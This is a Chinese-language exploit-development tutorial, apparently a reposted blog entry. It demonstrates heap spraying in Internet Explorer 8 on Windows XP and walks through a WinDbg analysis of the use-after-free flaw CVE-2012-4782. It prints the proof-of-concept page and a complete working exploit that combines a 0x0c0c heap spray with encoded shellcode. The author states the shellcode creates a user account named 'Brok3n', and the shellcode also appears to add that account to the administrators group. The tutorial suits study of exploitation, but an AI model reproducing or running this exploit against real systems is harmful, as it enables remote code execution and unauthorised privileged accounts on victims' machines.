从heap spray到CVE-2012-4782 (UAF)
2016-10-27 19:33
316 查看
第一部分:关于heap spray
首先在浏览器中(360、谷歌等)按F12,打开开发者模式:
在IE8+xpsp3中,打开1.html:
windbg附加进程,搜索字符串“CORELAN!”:
查看字符串信息:
通过以上介绍我们可以发现字符串的length表示字符串的unicode的长度,也就是字符串.length=字符串的长度/2 一个字符串对象不仅包括字符串本身,还包括字符串前边的四个字节(表示字符串的大小)以及字符串后边的两个null字符(表示结束)。
理想的堆喷射是包括大量的nop指令(或者类nop指令,比如0x0c0c、0x1c1c等),后边跟shellcode。如下图所示:
当这么排列无限多时,无论EIP指向哪里,shellcode都有很大的概率得到执行。
用如下代码做实验:
注:在IE8下, testarray[counter] = all.substring(0,all.length);如果改成testarray[counter]=all 或者改成 testarray[counter] =tag+chunk或者改成 testarray[counter]=tag.substring(0,tag.length)+chunk.substring(0,chunk.length)可能会出错
字符串还要包括字符串前边的四个字节和后边的两个字节
testarray[counter]的实际长度是0x1000*2+4+2=8198 bytes
重复200次
这样分配的内存大约是: 8198*200=1639600bytes=1.56Mb
我们使用windbg附加进程查看内存情况,
在内存中搜索字符串:s -a 0x00000000 L?0x7fffffff"CORELAN!"
查看地址0x0358dd84所在的堆块地址及堆大小:!heap -p -a 0x0358dd84
可以看到0x0358dd84所在的堆的首地址是0x035722f8,堆块实际大小是0x3fff8,数据的起始地址是0x03572300
我们看一下大小为0x3fff8的堆一共有几块:!heap -stat -h 0x00150000
大小为0x3fff8的堆有8块
为了减少垃圾数据的影响,我们总是希望0x2000无限接近于0x3fff8,为了实现以上目标,我们继续增大内存块。
将chunksize = 0x1000修改为0x4000
在IE8中打开,windbg附加进程:
!heap -stat -h 0x00150000
可以看到大小为0x8fc1的堆块分配了0xcc(204)次,这和我们的数据大小0x4000*2已经非常接近了,在统计学上讲,EIP指向0x90的概率大约是:(0x4000-0x4)*2/0x8fc1*100%
我们继续增大内存块的大小:
将chunksize = 0x1000修改为0x10000
在IE8中打开,windbg附加进程:
!heap -stat -h 0x00150000
这样成功的概率已经无限大了,我们看一下分配的堆块是从什么地址到什么地址:
从0x041bb040到0x062a7001,利用heap spray我们总是希望能覆盖0x06060606 0x0c0c0c0c、0x1c1c1c1c等地址(why,等会再说),继续增大。。。
将chunksize = 0x1000修改为0xfffff
4000
在IE8中打开,windbg附加进程:
!heap -stat -h 0x00150000
这里每个堆块有0x200010大小
可以看到0x1c1c1c1c已经被覆盖到了
在每个堆块里边,是这样布局的,首先是shellcode,然后是nops指令,总大小是0x200000,我们做一下修改,里边增加一些shellcode+nops的循环,最终使内存块差不多大
在上述代码中,
使Padding=为padding_size*4*0x1c
NopSlide = NopSlide.substring(0,block_size -(Shellcode.length + Padding.length));
上述两行代码使OBJECT的长度为block_size*2,OBJECT中的字符串按照%u1c1c%u1c1c.....shellcode....%u1c1c%u1c1c排列
alloc函数使字符串循环操作,最终使字符串OBJECT的长度为0xfffe0-6大小,加上字符串对象开头的四个字节和结尾的两个字节,OBJECT的长度正好是0xfffe0.
可以看到堆块刚好覆盖了0x06060606 0x070707070x0c0c0c0c 0x1c1c1c1c这些地址
为什么选择0x0c0c0c0c、0x1c1c1c1c这些地址呢
对UAF漏洞,一个对象的首地址中保存的是虚函数的虚表指针,当一个对象释放后,我们将这一块内存填充为0x0c0c0c0c....等,当这个释放后的对象再次被使用时,通过虚表指针查找虚函数表,这里虚表指针已经被0x0c0c0c0c填充,则虚函数表是从0x0c0c0c0c开始,比如调用调用虚函数表的第二个函数则是call [0x0c0c0c0c+4],内存地址0x0c0c0c10中保存的还是0x0c、0x0c等, 这些都是空操作指令,会一直执行下去,直到执行到我们的shellcode。
0x1c1c1c1c跟0x0c0c0c0c没有多大区别,只是内存地址越高,越稳定,垃圾数据越少。
下边以一个UAF漏洞CVE-2012-4782来说明问题
环境:在xpsp3+IE8中
POC.html:
首先启用hpa+ust,命令行切换到windbg安装目录下,gflags /i iexplore.exe +hpa +ust
再启用IE,windbg附加IE,g(注意先后顺序,应该是先设置hpa+ust,后启用IE),IE打开poc.html,触发异常:
可以看到edi其实是个对象,对象的首地址保存的是虚表指针,将虚函数表的首地址传到eax,在通过偏移调用虚函数,call dword ptr [eax+4*x],
可以看到edi已经被改动,导致edi不能访问
由于前边设置了用户栈回溯(ust),我们看一下对这个对象edi的操作记录:
可以看到,是 button 对象释放后重用造成了访问冲突。
接下来有三个问题,什么时候创建的对象button,什么时候释放的对象button,什么时候重新利用的对象button,对于第三个问题很容易回答就是在637848ae 8b07 mov eax,dword ptr [edi] ds:0023:18266fa8=????????重用了对象button。
既然涉及到对象的创建与释放,那就查看一下创建对象的类CButton有哪些成员函数:
根据函数名字,大概知道函数mshtml!CButton::CreateElement用于创建对象,函数mshtml!CButton::`vector deleting destructor' 用于释放对象,下边对这两个函数下断,
重新启动IE,windbg附加,bp *:
IE打开poc.html,IE果然在CreateElement函数断下:
可以看到函数CreateElement通过调用API函数heapalloc在堆上分配内存,看一下函数heapalloc的定义:
LPVOID HeapAlloc(
HANDLE hHeap,
DWORD dwFlags,
SIZE_T dwBytes,
);
可以看到在进程堆上分配了一个大小为0x58的内存,在0x639944f7下断,可以看到函数heapalloc的返回值是0x17812fa8
继续运行,断在mshtml!CButton::`vector deleting destructor' ,
查看mshtml!CButton::`vector deletingdestructor'的反汇编代码:
在函数heapFree上下断,运行,查看栈信息:
第三个参数是释放的内存块的首地址,跟上边创建的一样,其实这两处就是创建对象与释放对象的地方了,继续运行,就到了 button 对象重用的地方:
正好是创建对象的地址:0x17812fa8,这也正好验证了我们的猜测。
至于为什么创建、释放、再利用对象,就请详见参考资料吧
下边介绍一下利用方法:
创建的对象大小是0x58,button 对象既然被释放了,那么我们立刻申请同等大小的内存块覆盖,,当 button 重用的时候,就被欺骗去使用我们构造的数据了。
我们在申请的内存块中部署大量的0x0c、0x0c、0x0c、0x0c等,当对象中的虚函数被调用时,会首先在对象的首地址中保存虚表指针,此时虚表指针已经被0x0c0c0c0c填充,就会跳转到地址为0x0c0c0c0c的虚函数表中,此时虚函数表还是被0x0c0c0c0c填充,比如我们调用第二个虚函数,那么汇编代码为call dwordptr [eax+4*1],eax=0x0c0c0c0c,但是0x0c0c0c10还是被0x0c字符填充,这样最后0x0c字符得到执行,最终0x0c后边的shellcode得到执行。
首先我们申请一块大小是0x58的内存块
为什么要减6呢,因为字符串前边有四个字节表示字符串的大小,后边还有两个字节0x00表示结束,加起来来正好是0x58
这个地方循环一次跟100次结果都是一样的
最终的利用代码如下:
shellcode是创建一个名为Brok3n的账号
执行之后,成功创建了账号:
边测试边参考边写的,肯定有很多不对的地方,欢迎多提意见
参考:
1. 【原创】CVE-2012-4782漏洞分析到EXP构造:http://bbs.pediy.com/showthread.php?t=206371
2. 【翻译】Windows Exploit开发系列教程第八部分:堆喷射第一节【覆写EIP】http://bbs.pediy.com/showthread.php?t=207158
3. 【翻译】Exploit 编写系列教程第十一篇:堆喷射技术揭秘(上)http://bbs.pediy.com/showthread.php?t=151381
首先在浏览器中(360、谷歌等)按F12,打开开发者模式:
在IE8+xpsp3中,打开1.html:
<html> <body> <script language='javascript'> var myvar = "CORELAN!"; alert("allocation done"); </script> </body> </html>
windbg附加进程,搜索字符串“CORELAN!”:
查看字符串信息:
通过以上介绍我们可以发现字符串的length表示字符串的unicode的长度,也就是字符串.length=字符串的长度/2 一个字符串对象不仅包括字符串本身,还包括字符串前边的四个字节(表示字符串的大小)以及字符串后边的两个null字符(表示结束)。
理想的堆喷射是包括大量的nop指令(或者类nop指令,比如0x0c0c、0x1c1c等),后边跟shellcode。如下图所示:
当这么排列无限多时,无论EIP指向哪里,shellcode都有很大的概率得到执行。
用如下代码做实验:
<html> <script > tag = unescape('%u4F43%u4552'); // CORE tag += unescape('%u414C%u214E'); // LAN! chunk = ''; chunksize = 0x1000; nr_of_chunks = 200; for ( counter = 0; counter < chunksize; counter++) { chunk += unescape('%u9090%u9090'); //nops } chunk = chunk.substring(0,chunksize - tag.length); all=tag+chunk; testarray = new Array(); for ( counter = 0; counter < nr_of_chunks;counter++) { testarray[counter] = all.substring(0,all.length); //testarray[counter] = tag + chunk; } alert("Spray done") </script> </html>
注:在IE8下, testarray[counter] = all.substring(0,all.length);如果改成testarray[counter]=all 或者改成 testarray[counter] =tag+chunk或者改成 testarray[counter]=tag.substring(0,tag.length)+chunk.substring(0,chunk.length)可能会出错
字符串还要包括字符串前边的四个字节和后边的两个字节
testarray[counter]的实际长度是0x1000*2+4+2=8198 bytes
重复200次
这样分配的内存大约是: 8198*200=1639600bytes=1.56Mb
我们使用windbg附加进程查看内存情况,
在内存中搜索字符串:s -a 0x00000000 L?0x7fffffff"CORELAN!"
查看地址0x0358dd84所在的堆块地址及堆大小:!heap -p -a 0x0358dd84
可以看到0x0358dd84所在的堆的首地址是0x035722f8,堆块实际大小是0x3fff8,数据的起始地址是0x03572300
我们看一下大小为0x3fff8的堆一共有几块:!heap -stat -h 0x00150000
大小为0x3fff8的堆有8块
为了减少垃圾数据的影响,我们总是希望0x2000无限接近于0x3fff8,为了实现以上目标,我们继续增大内存块。
将chunksize = 0x1000修改为0x4000
<html> <script > tag = unescape('%u4F43%u4552'); // CORE tag += unescape('%u414C%u214E'); // LAN! chunk = ''; chunksize = 0x4000; nr_of_chunks = 200; for ( counter = 0; counter < chunksize; counter++) { chunk += unescape('%u9090%u9090'); //nops } chunk = chunk.substring(0,chunksize - tag.length); all=tag+chunk; testarray = new Array(); for ( counter = 0; counter < nr_of_chunks;counter++) { testarray[counter] = all.substring(0,all.length); //testarray[counter] = tag + chunk; } alert("Spray done") </script> </html>
在IE8中打开,windbg附加进程:
!heap -stat -h 0x00150000
可以看到大小为0x8fc1的堆块分配了0xcc(204)次,这和我们的数据大小0x4000*2已经非常接近了,在统计学上讲,EIP指向0x90的概率大约是:(0x4000-0x4)*2/0x8fc1*100%
我们继续增大内存块的大小:
将chunksize = 0x1000修改为0x10000
<html> <script > tag = unescape('%u4F43%u4552'); // CORE tag += unescape('%u414C%u214E'); // LAN! chunk = ''; chunksize = 0x10000; nr_of_chunks = 200; for ( counter = 0; counter < chunksize; counter++) { chunk += unescape('%u9090%u9090'); //nops } chunk = chunk.substring(0,chunksize - tag.length); all=tag+chunk; testarray = new Array(); for ( counter = 0; counter < nr_of_chunks;counter++) { testarray[counter] = all.substring(0,all.length); //testarray[counter] = tag + chunk; } alert("Spray done") </script> </html>
在IE8中打开,windbg附加进程:
!heap -stat -h 0x00150000
这样成功的概率已经无限大了,我们看一下分配的堆块是从什么地址到什么地址:
从0x041bb040到0x062a7001,利用heap spray我们总是希望能覆盖0x06060606 0x0c0c0c0c、0x1c1c1c1c等地址(why,等会再说),继续增大。。。
将chunksize = 0x1000修改为0xfffff
4000
<html> <script > tag = unescape('%u4F43%u4552'); // CORE tag += unescape('%u414C%u214E'); // LAN! chunk = ''; chunksize = 0xfffff; nr_of_chunks = 200; for ( counter = 0; counter < chunksize; counter++) { chunk += unescape('%u9090%u9090'); //nops } chunk = chunk.substring(0,chunksize - tag.length); all=tag+chunk; testarray = new Array(); for ( counter = 0; counter < nr_of_chunks;counter++) { testarray[counter] = all.substring(0,all.length); //testarray[counter] = tag + chunk; } alert("Spray done") </script> </html>
在IE8中打开,windbg附加进程:
!heap -stat -h 0x00150000
这里每个堆块有0x200010大小
可以看到0x1c1c1c1c已经被覆盖到了
在每个堆块里边,是这样布局的,首先是shellcode,然后是nops指令,总大小是0x200000,我们做一下修改,里边增加一些shellcode+nops的循环,最终使内存块差不多大
<html> <head> <script> function alloc(bytes, mystr) { while (mystr.length<bytes) mystr += mystr; return mystr.substr(0, (bytes-6)/2); } block_size = 0x1000; padding_size = 0x5FC; //offset to 0x0c0c0c0c insideour 0x1000 hex block Padding = ''; NopSlide = ''; var Shellcode = unescape('%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u7a8b%u0124%u66c7%u2c8b%u8b6f%u1c7a%uc701%u7c8b%ufcaf%uc701%u4b68%u6e33%u6801%u4220%u6f72%u2f68%u4441%u6844%u726f%u2073%u7468%u6172%u6874%u6e69%u7369%u2068%u6441%u686d%u6f72%u7075%u6368%u6c61%u6867%u2074%u6f6c%u2668%u6e20%u6865%u4444%u2620%u6e68%u2f20%u6841%u6f72%u334b%u3368%u206e%u6842%u7242%u4b6f%u7368%u7265%u6820%u7465%u7520%u2f68%u2063%u686e%u7865%u2065%u6368%u646d%u892e%ufee5%u534d%uc031%u5550%ud7ff'); for (p = 0; p < padding_size; p++){ Padding += unescape('%u1c1c%u1c1c');} for (c = 0; c < block_size; c++){ NopSlide += unescape('%u1c1c%u1c1c');} //shellcode hou NopSlide = NopSlide.substring(0,block_size -(Shellcode.length + Padding.length)); var OBJECT = Padding + Shellcode + NopSlide; OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb var evil = new Array(); for (var k = 0; k < 400; k++) { evil[k] = OBJECT.substr(0, OBJECT.length); } alert(2); </script> </head> <body> </body> </html>
在上述代码中,
for (p = 0; p < padding_size;p++){ Padding += unescape('%u1c1c%u1c1c');}
使Padding=为padding_size*4*0x1c
for (c = 0; c < block_size; c++){ NopSlide += unescape('%u1c1c%u1c1c');}使NopSlide=block_size*4*0x1c
NopSlide = NopSlide.substring(0,block_size -(Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
上述两行代码使OBJECT的长度为block_size*2,OBJECT中的字符串按照%u1c1c%u1c1c.....shellcode....%u1c1c%u1c1c排列
alloc函数使字符串循环操作,最终使字符串OBJECT的长度为0xfffe0-6大小,加上字符串对象开头的四个字节和结尾的两个字节,OBJECT的长度正好是0xfffe0.
可以看到堆块刚好覆盖了0x06060606 0x070707070x0c0c0c0c 0x1c1c1c1c这些地址
为什么选择0x0c0c0c0c、0x1c1c1c1c这些地址呢
对UAF漏洞,一个对象的首地址中保存的是虚函数的虚表指针,当一个对象释放后,我们将这一块内存填充为0x0c0c0c0c....等,当这个释放后的对象再次被使用时,通过虚表指针查找虚函数表,这里虚表指针已经被0x0c0c0c0c填充,则虚函数表是从0x0c0c0c0c开始,比如调用调用虚函数表的第二个函数则是call [0x0c0c0c0c+4],内存地址0x0c0c0c10中保存的还是0x0c、0x0c等, 这些都是空操作指令,会一直执行下去,直到执行到我们的shellcode。
0x1c1c1c1c跟0x0c0c0c0c没有多大区别,只是内存地址越高,越稳定,垃圾数据越少。
下边以一个UAF漏洞CVE-2012-4782来说明问题
环境:在xpsp3+IE8中
POC.html:
<html> <head> <script> functionhelloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); alert(e1.parentNode); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); } </script> </head> <body onload="eval(helloWorld())"> <form id="a"></form> <dfn id="b"></dfn> </body> </html>
首先启用hpa+ust,命令行切换到windbg安装目录下,gflags /i iexplore.exe +hpa +ust
再启用IE,windbg附加IE,g(注意先后顺序,应该是先设置hpa+ust,后启用IE),IE打开poc.html,触发异常:
可以看到edi其实是个对象,对象的首地址保存的是虚表指针,将虚函数表的首地址传到eax,在通过偏移调用虚函数,call dword ptr [eax+4*x],
可以看到edi已经被改动,导致edi不能访问
由于前边设置了用户栈回溯(ust),我们看一下对这个对象edi的操作记录:
可以看到,是 button 对象释放后重用造成了访问冲突。
接下来有三个问题,什么时候创建的对象button,什么时候释放的对象button,什么时候重新利用的对象button,对于第三个问题很容易回答就是在637848ae 8b07 mov eax,dword ptr [edi] ds:0023:18266fa8=????????重用了对象button。
既然涉及到对象的创建与释放,那就查看一下创建对象的类CButton有哪些成员函数:
根据函数名字,大概知道函数mshtml!CButton::CreateElement用于创建对象,函数mshtml!CButton::`vector deleting destructor' 用于释放对象,下边对这两个函数下断,
重新启动IE,windbg附加,bp *:
IE打开poc.html,IE果然在CreateElement函数断下:
可以看到函数CreateElement通过调用API函数heapalloc在堆上分配内存,看一下函数heapalloc的定义:
LPVOID HeapAlloc(
HANDLE hHeap,
DWORD dwFlags,
SIZE_T dwBytes,
);
可以看到在进程堆上分配了一个大小为0x58的内存,在0x639944f7下断,可以看到函数heapalloc的返回值是0x17812fa8
继续运行,断在mshtml!CButton::`vector deleting destructor' ,
查看mshtml!CButton::`vector deletingdestructor'的反汇编代码:
在函数heapFree上下断,运行,查看栈信息:
第三个参数是释放的内存块的首地址,跟上边创建的一样,其实这两处就是创建对象与释放对象的地方了,继续运行,就到了 button 对象重用的地方:
正好是创建对象的地址:0x17812fa8,这也正好验证了我们的猜测。
至于为什么创建、释放、再利用对象,就请详见参考资料吧
下边介绍一下利用方法:
创建的对象大小是0x58,button 对象既然被释放了,那么我们立刻申请同等大小的内存块覆盖,,当 button 重用的时候,就被欺骗去使用我们构造的数据了。
我们在申请的内存块中部署大量的0x0c、0x0c、0x0c、0x0c等,当对象中的虚函数被调用时,会首先在对象的首地址中保存虚表指针,此时虚表指针已经被0x0c0c0c0c填充,就会跳转到地址为0x0c0c0c0c的虚函数表中,此时虚函数表还是被0x0c0c0c0c填充,比如我们调用第二个虚函数,那么汇编代码为call dwordptr [eax+4*1],eax=0x0c0c0c0c,但是0x0c0c0c10还是被0x0c字符填充,这样最后0x0c字符得到执行,最终0x0c后边的shellcode得到执行。
首先我们申请一块大小是0x58的内存块
var arr_div = new Array(); var junk=unescape("%u0c0c%u0c0c"); while (junk.length < (0x100- 6)/2) { junk+=junk; } for(var i = 0; i<0x1; i++) { arr_div[i]= document.createElement("div"); arr_div[i].title= junk.substring(0,(0x58-6)/2); }
为什么要减6呢,因为字符串前边有四个字节表示字符串的大小,后边还有两个字节0x00表示结束,加起来来正好是0x58
这个地方循环一次跟100次结果都是一样的
最终的利用代码如下:
<html> <head> <script> var arr_div = new Array(); var junk=unescape("%u0c0c%u0c0c"); while (junk.length < (0x100- 6)/2) { junk+=junk; } function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); for(var i = 0; i<0x1; i++) { arr_div[i]= document.createElement("div"); arr_div[i].title= junk.substring(0,(0x58-6)/2); } alert(1); function alloc(bytes, mystr) { while (mystr.length<bytes) mystr += mystr; return mystr.su b105 bstr(0, (bytes-6)/2); } block_size = 0x1000; padding_size = 0x5FC; //offset to 0x0c0c0c0c inside our0x1000 hex block Padding = ''; NopSlide = ''; var Shellcode = unescape('%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u7a8b%u0124%u66c7%u2c8b%u8b6f%u1c7a%uc701%u7c8b%ufcaf%uc701%u4b68%u6e33%u6801%u4220%u6f72%u2f68%u4441%u6844%u726f%u2073%u7468%u6172%u6874%u6e69%u7369%u2068%u6441%u686d%u6f72%u7075%u6368%u6c61%u6867%u2074%u6f6c%u2668%u6e20%u6865%u4444%u2620%u6e68%u2f20%u6841%u6f72%u334b%u3368%u206e%u6842%u7242%u4b6f%u7368%u7265%u6820%u7465%u7520%u2f68%u2063%u686e%u7865%u2065%u6368%u646d%u892e%ufee5%u534d%uc031%u5550%ud7ff'); for (p = 0; p < padding_size; p++){ Padding += unescape('%u0c0c%u0c0c');} for (c = 0; c < block_size; c++){ NopSlide += unescape('%u0c0c%u0c0c');} //shellcode hou NopSlide = NopSlide.substring(0,block_size -(Shellcode.length + Padding.length)); var OBJECT = Padding + Shellcode + NopSlide; OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb var evil = new Array(); for (var k = 0; k < 400; k++) { evil[k] = OBJECT.substr(0, OBJECT.length); } alert(2); } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html>
shellcode是创建一个名为Brok3n的账号
执行之后,成功创建了账号:
边测试边参考边写的,肯定有很多不对的地方,欢迎多提意见
参考:
1. 【原创】CVE-2012-4782漏洞分析到EXP构造:http://bbs.pediy.com/showthread.php?t=206371
2. 【翻译】Windows Exploit开发系列教程第八部分:堆喷射第一节【覆写EIP】http://bbs.pediy.com/showthread.php?t=207158
3. 【翻译】Exploit 编写系列教程第十一篇:堆喷射技术揭秘(上)http://bbs.pediy.com/showthread.php?t=151381
相关文章推荐
- 漏洞分析之CVE-2012-4792(UAF)
- IE UAF 漏洞(CVE-2012-4969)漏洞分析与利用
- Oracle Database Server 'TNS Listener'远程数据投毒漏洞(CVE-2012-1675)的完美解决方法
- 以CVE-2012-2316为例,总结一些已知Web软件漏洞重现的方法
- cve-2012-1876 win7_ie8_leak_shellcode code
- CVE-2012-5106浅析-Freefloat FTP Server栈溢出漏洞
- 老漏洞easy击:CVE-2012 0158占顶!
- CVE-2012-1493
- Mysql身份认证漏洞及利用(CVE-2012-2122)
- 【漏洞分析】CVE2012-0002漏洞分析过程详述
- CVE-2012-0002(MS12-020)3389远程溢出漏洞
- CVE-2012-0158个人分析
- 【转】Oracle Database Server 'TNS Listener'远程数据投毒漏洞(CVE-2012-1675)
- CVE-2012-2122: MySQL身份认证漏洞
- 失之交臂的 cve 2012-0181
- CVE-2012-1823 php-cgi漏洞 metasploit利用脚本
- Android exploit with a Qualcomm processor (CVE-2012-4220)
- CVE-2012-0158浅析-office栈溢出漏洞
- CVE-2012-1823 php-cgi远程代码执行
- CVE-2012-XXXX Java 0day